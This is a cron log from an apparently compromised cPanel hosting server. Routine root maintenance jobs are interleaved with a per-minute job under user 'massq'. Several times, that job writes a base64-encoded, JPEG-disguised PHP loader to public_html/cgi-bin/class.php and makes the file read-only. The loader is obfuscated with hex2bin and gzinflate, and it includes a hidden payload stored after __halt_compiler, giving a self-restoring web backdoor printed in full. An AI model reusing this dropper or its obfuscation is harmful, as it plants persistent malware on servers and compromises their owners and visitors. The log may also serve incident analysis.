Sep 11 21:20:01 server CROND[8930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:20:01 server CROND[8937]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 21:20:01 server CROND[8946]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 21:20:01 server CROND[8949]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:20:01 server CROND[8951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:20:01 server CROND[8948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:20:01 server CROND[8947]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:20:01 server CROND[8953]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 21:21:01 server CROND[9796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:21:01 server CROND[9797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:21:01 server CROND[9798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:22:01 server CROND[10330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:22:01 server CROND[10336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:22:01 server CROND[10337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:23:01 server CROND[10697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:23:01 server CROND[10698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:23:01 server CROND[10699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:24:01 server CROND[11068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:24:01 server CROND[11069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:24:01 server CROND[11070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:25:01 server CROND[11453]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 21:25:01 server CROND[11454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:25:01 server CROND[11455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:25:01 server CROND[11457]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 21:25:01 server CROND[11456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:25:01 server CROND[11460]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:25:01 server CROND[11459]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:26:01 server CROND[12297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:26:01 server CROND[12298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:26:01 server CROND[12300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:27:01 server CROND[12792]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 21:27:01 server CROND[12793]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:27:01 server CROND[12794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:27:01 server CROND[12795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:28:01 server CROND[13157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:28:01 server CROND[13158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:28:01 server CROND[13159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:29:01 server CROND[13531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:29:01 server CROND[13533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:29:01 server CROND[13532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:30:01 server CROND[13918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:30:01 server CROND[13928]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 21:30:01 server CROND[13930]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 21:30:01 server CROND[13924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:30:01 server CROND[13925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:30:01 server CROND[13926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:30:01 server CROND[13934]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 21:30:01 server CROND[13929]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:31:01 server CROND[14764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:31:01 server CROND[14765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:31:01 server CROND[14766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
